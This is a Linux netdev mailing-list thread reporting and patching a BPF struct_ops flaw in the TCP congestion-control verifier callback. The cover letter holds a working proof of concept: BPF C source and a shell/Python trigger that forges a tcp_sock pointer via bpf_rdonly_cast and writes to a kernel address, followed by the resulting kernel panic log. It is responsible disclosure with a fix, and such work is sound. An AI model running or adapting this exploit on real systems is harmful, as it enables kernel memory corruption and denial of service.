Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] bpf: reject unsafe pointers in TCP congestion control access
@ 2026-10-14 11:57 Zhiling Zou
  2026-10-14 11:57 ` [PATCH net 1/1] " Zhiling Zou
  0 siblings, 1 reply; 2+ messages in thread
From: Zhiling Zou @ 2026-10-14 11:57 UTC (permalink / raw)
  To: netdev, bpf
  Cc: davem, edumazet, pabeni, horms, zhilinz, martin.lau, kafai.wan,
	yhs, ast, vega

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/bpf_tcp_ca.c. A root user
with the capabilities required for BPF struct_ops can load a TCP
congestion-control program that writes through a forged tcp_sock pointer.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

bpf_rdonly_cast() returns a BTF pointer with PTR_UNTRUSTED. Generic BPF
store verification delegates writes through BTF pointers to the program
type's btf_struct_access callback. bpf_tcp_ca_btf_struct_access() checks
the BTF type and allowlisted member offset, but does not reject unsafe
pointer modifiers.

A BPF TCP struct_ops program can therefore cast a scalar address to a
struct tcp_sock pointer and write through an allowed member such as
sk_pacing_rate. The PoC biases the fake base so the store targets address
0x1000; the supplied KASAN log shows the resulting kernel-mode write
fault in the struct_ops init callback.

Reject pointers with unsafe modifiers before validating their BTF type
and member offset. Trusted struct_ops context pointers retain the
existing write access to the permitted TCP fields.

Reproducer:

    ./poc.sh

The supplied poc.bpf.o is used by the script. It requires bpftool and
Python 3 in the guest. We ran it as root in a 2 vCPU, 2 GB QEMU guest.

------BEGIN poc.bpf.c------

    // SPDX-License-Identifier: GPL-2.0

    #include "vmlinux.h"
    #include <bpf/bpf_core_read.h>
    #include <bpf/bpf_helpers.h>
    #include <bpf/bpf_tracing.h>
    #include "bpf_kfuncs.h"

    char LICENSE[] SEC("license") = "GPL";

    #define TARGET_ADDR 0x1000UL
    #define WRITE_VALUE 0x4141414141414141UL

    SEC("struct_ops/init")
    void BPF_PROG(poc_init, struct sock *sk)
    {
    	unsigned long base;
    	struct sock *fake;

    	base = TARGET_ADDR - __builtin_offsetof(struct sock, sk_pacing_rate);
    	fake = bpf_rdonly_cast((const void *)base,
    			       bpf_core_type_id_kernel(struct tcp_sock));
    	fake->sk_pacing_rate = WRITE_VALUE;
    }

    SEC("struct_ops/cong_avoid")
    void BPF_PROG(poc_cong_avoid, struct sock *sk, u32 ack, u32 acked)
    {
    }

    SEC("struct_ops/ssthresh")
    u32 BPF_PROG(poc_ssthresh, struct sock *sk)
    {
    	return 0;
    }

    SEC("struct_ops/undo_cwnd")
    u32 BPF_PROG(poc_undo_cwnd, struct sock *sk)
    {
    	return 0;
    }

    SEC(".struct_ops")
    struct tcp_congestion_ops poc_ca = {
    	.init = (void *)poc_init,
    	.cong_avoid = (void *)poc_cong_avoid,
    	.ssthresh = (void *)poc_ssthresh,
    	.undo_cwnd = (void *)poc_undo_cwnd,
    	.name = "k9v_poc",
    };

------END poc.bpf.c--------

------BEGIN bpf_kfuncs.h------

    #ifndef __POC_BPF_KFUNCS_H
    #define __POC_BPF_KFUNCS_H

    extern void *bpf_rdonly_cast(const void *obj, __u32 btf_id) __ksym __weak;

    #endif

------END bpf_kfuncs.h--------

------BEGIN poc.sh------

    #!/bin/sh
    set -eux

    DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
    cd "$DIR"

    if [ ! -f poc.bpf.o ]; then
    	if command -v clang >/dev/null 2>&1; then
    		make clean
    		make
    	else
    		echo "missing poc.bpf.o and no clang available to rebuild it" >&2
    		exit 1
    	fi
    fi

    bpftool struct_ops register ./poc.bpf.o

    python3 - <<'PY'
    import socket
    import threading
    import time

    ALG = b"k9v_poc"
    ready = threading.Event()
    port_box = {}


    def server():
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind(("127.0.0.1", 0))
        port_box["port"] = srv.getsockname()[1]
        srv.listen(1)
        ready.set()
        conn, _ = srv.accept()
        time.sleep(5)
        conn.close()
        srv.close()


    threading.Thread(target=server, daemon=True).start()
    ready.wait()

    cli = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    cli.connect(("127.0.0.1", port_box["port"]))
    cli.setsockopt(socket.IPPROTO_TCP, socket.TCP_CONGESTION, ALG)
    PY

------END poc.sh--------

----BEGIN crash log----

[  900.010015][T10750] BUG: unable to handle page fault for address: 0000000000001000
[  900.010735][T10750] #PF: supervisor write access in kernel mode
[  900.011201][T10750] #PF: error_code(0x0002) - not-present page
[  900.011675][T10750] PGD 10f17b067 P4D 10f17b067 PUD 1121c2067 PMD 0
[  900.012209][T10750] Oops: Oops: 0002 [#1] PREEMPT SMP KASAN NOPTI
[  900.012693][T10750] CPU: 2 UID: 0 PID: 10750 Comm: python3 Not tainted 6.12.95 #2
[  900.013186][T10750] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  900.013972][T10750] RIP: 0010:bpf_prog_861704879f83f62f_poc_init+0x2b/0x38
[  900.014455][T10750] Code: 0f 1e fa 0f 1f 44 00 00 0f 1f 00 55 48 89 e5 f3 0f 1e fa bf 90 0c 00 00 be 85 ab 00 00 48 89 f8 48 bf 41 41 41 41 41 41 41 41 <48> 89 b8 70 03 00 00 c9 e9 4b 5e 6f ea cc cc cc cc cc cc cc cc cc
[  900.015700][T10750] RSP: 0018:ffffc900066dfb58 EFLAGS: 00010202
[  900.016102][T10750] RAX: 0000000000000c90 RBX: 0000000000000001 RCX: 0000000000000000
[  900.016617][T10750] RDX: 1ffff92000cdbf6e RSI: 000000000000ab85 RDI: 4141414141414141
[  900.017128][T10750] RBP: ffffc900066dfb58 R08: 0000000000000000 R09: fffffbfff2c69990
[  900.017641][T10750] R10: ffffffff9634cc87 R11: 0000000000000002 R12: ffff88810b72a278
[  900.018210][T10750] R13: ffff88801d8fc340 R14: ffff88810b72a278 R15: ffff88810b72a2a8
[  900.018843][T10750] FS:  00007f2b2a2d8780(0000) GS:ffff888118b00000(0000) knlGS:0000000000000000
[  900.019539][T10750] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  900.020009][T10750] CR2: 0000000000001000 CR3: 000000007cca4000 CR4: 0000000000750ef0
[  900.020633][T10750] PKRU: 55555554
[  900.020913][T10750] Call Trace:
[  900.021183][T10750]  <TASK>
[  900.021434][T10750]  bpf__tcp_congestion_ops_init+0x47/0xa7
[  900.021880][T10750]  tcp_init_congestion_control+0xa7/0x3b0
[  900.022412][T10750]  tcp_set_congestion_control+0x6a9/0x7c0
[  900.022838][T10750]  do_tcp_setsockopt+0x5c0/0x2170
[  900.023230][T10750]  ? __pfx_do_tcp_setsockopt+0x10/0x10
[  900.023579][T10750]  ? __pfx___might_resched+0x10/0x10
[  900.024056][T10750]  ? srso_alias_return_thunk+0x5/0xfbef5
[  900.024523][T10750]  ? aa_sk_perm+0x1d8/0x8d0
[  900.024956][T10750]  ? __pfx___lock_acquire+0x10/0x10
[  900.025389][T10750]  ? __pfx_aa_sk_perm+0x10/0x10
[  900.025777][T10750]  ? srso_alias_return_thunk+0x5/0xfbef5
[  900.026212][T10750]  ? srso_alias_return_thunk+0x5/0xfbef5
[  900.026662][T10750]  ? find_held_lock+0x2d/0x110
[  900.027002][T10750]  do_sock_setsockopt+0x1b8/0x3b0
[  900.046958][T10750] Kernel panic - not syncing: Fatal exception
[  900.047768][T10750] Kernel Offset: disabled
[  900.048106][T10750] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  bpf: reject unsafe pointers in TCP congestion control access

 net/ipv4/bpf_tcp_ca.c | 5 +++++
 1 file changed, 5 insertions(+)

-- 
2.55.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

* [PATCH net 1/1] bpf: reject unsafe pointers in TCP congestion control access
  2026-10-14 11:57 [PATCH net 0/1] bpf: reject unsafe pointers in TCP congestion control access Zhiling Zou
@ 2026-10-14 11:57 ` Zhiling Zou
  0 siblings, 0 replies; 2+ messages in thread
From: Zhiling Zou @ 2026-10-14 11:57 UTC (permalink / raw)
  To: netdev, bpf
  Cc: davem, edumazet, pabeni, horms, zhilinz, martin.lau, kafai.wan,
	yhs, ast, vega

bpf_tcp_ca_btf_struct_access() authorizes writes based on the BTF type
and member offset, but does not check pointer modifiers. A BPF program
can use bpf_rdonly_cast() to create an untrusted tcp_sock pointer and
write through an allowlisted member, bypassing the read-only cast.

Reject pointers with unsafe modifiers before checking the type and
member offset. Trusted struct_ops context pointers retain the existing
write access to the permitted TCP fields.

Fixes: a35b9af4ec2c ("bpf: Add a kfunc for generic type cast")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
 net/ipv4/bpf_tcp_ca.c | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/net/ipv4/bpf_tcp_ca.c b/net/ipv4/bpf_tcp_ca.c
index 791e15063237..252cbfe11e69 100644
--- a/net/ipv4/bpf_tcp_ca.c
+++ b/net/ipv4/bpf_tcp_ca.c
@@ -65,6 +65,11 @@ static int bpf_tcp_ca_btf_struct_access(struct bpf_verifier_log *log,
 	const struct btf_type *t;
 	size_t end;
 
+	if (bpf_type_has_unsafe_modifiers(reg->type)) {
+		bpf_log(log, "write through an unsafe tcp_sock pointer\n");
+		return -EACCES;
+	}
+
 	t = btf_type_by_id(reg->btf, reg->btf_id);
 	if (t != tcp_sock_type) {
 		bpf_log(log, "only read is supported\n");
-- 
2.55.0


^ permalink raw reply related	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-10-14 11:58 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-14 11:57 [PATCH net 0/1] bpf: reject unsafe pointers in TCP congestion control access Zhiling Zou
2026-10-14 11:57 ` [PATCH net 1/1] " Zhiling Zou

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox